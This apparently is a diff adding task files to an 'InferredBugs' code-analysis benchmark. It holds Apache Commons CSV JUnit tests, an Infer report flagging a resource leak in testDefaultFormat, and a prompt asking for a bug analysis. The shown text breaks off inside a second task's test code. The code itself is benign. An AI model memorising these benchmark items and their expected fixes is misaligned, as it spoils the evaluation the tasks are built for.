+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    @Ignore("CSV-107")
+    public void testBOM() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        final CSVParser parser = CSVParser.parse(url, null, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testBOMInputStream() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        Reader reader = new InputStreamReader(new BOMInputStream(url.openStream()), "UTF-8");
+        final CSVParser parser = new CSVParser(reader, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test(expected = NoSuchElementException.class)
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        records.next();
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = CSVParser.parse(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = CSVParser.parse(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testGetRecordWithMultiLineValues() throws Exception {
+        final CSVParser parser = CSVParser.parse("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser(null, invalidFormat).close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+            // expected
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        CSVRecord record;
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test // TODO this may lead to strange behavior, throw an exception if iterator() has already been called?
+    public void testMultipleIterators() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c" + CR + "d,e,f", CSVFormat.DEFAULT);
+
+        final Iterator<CSVRecord> itr1 = parser.iterator();
+        final Iterator<CSVRecord> itr2 = parser.iterator();
+
+        final CSVRecord first = itr1.next();
+        assertEquals("a", first.get(0));
+        assertEquals("b", first.get(1));
+        assertEquals("c", first.get(2));
+
+        final CSVRecord second = itr2.next();
+        assertEquals("d", second.get(0));
+        assertEquals("e", second.get(1));
+        assertEquals("f", second.get(2));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserNullReaderFormat() throws Exception {
+        new CSVParser(null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserReaderNullFormat() throws Exception {
+        new CSVParser(new StringReader(""), null);
+    }
+
+    @Test
+    public void testNoHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT);
+        Assert.assertNull(parser.getHeaderMap());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseFileNullFormat() throws Exception {
+        CSVParser.parse(new File(""), null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullFileFormat() throws Exception {
+        CSVParser.parse((File) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullStringFormat() throws Exception {
+        CSVParser.parse((String) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullUrlCharsetFormat() throws Exception {
+        CSVParser.parse(null, Charset.defaultCharset(), CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParserUrlNullCharsetFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), null, CSVFormat.DEFAULT);
+        parser.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseStringNullFormat() throws Exception {
+        CSVParser.parse("csv data", null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseUrlCharsetNullFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), Charset.defaultCharset(), null);
+        parser.close();        
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeaderAuto() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("a"));
+            assertTrue(record.isMapped("b"));
+            assertTrue(record.isMapped("c"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVParser.parse(input, CSVFormat.DEFAULT)) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testSkipAutoHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testSkipSetHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("a", "b", "c").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `parse(...)` at line 266 is not released after line 267.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testDefaultFormat()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testDefaultFormat():void.90b030b6ec0a6fbfae29a1f268d7e11a
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testDefaultFormat|RESOURCE_LEAK
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+7d3bcfeecbe1dfb3f8c086699c16478b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6491/instruction.md b/inferredbugs-6491/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..54c965c8efbf41d629754fa2db251fd605247796
--- /dev/null
+++ b/inferredbugs-6491/instruction.md
@@ -0,0 +1,541 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 37
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ */
+public class CSVParserTest {
+
+    String code = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+    String[][] res = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testGetLine() throws IOException {
+        CSVParser parser = new CSVParser(new StringReader(code));
+        for (String[] re : res) {
+            assertTrue(Arrays.equals(re, parser.getRecord()));
+        }
+        
+        assertTrue(parser.getRecord() == null);
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+        
+        for (String code : codes) {
+            CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+            String[][] tmp = parser.getRecords();
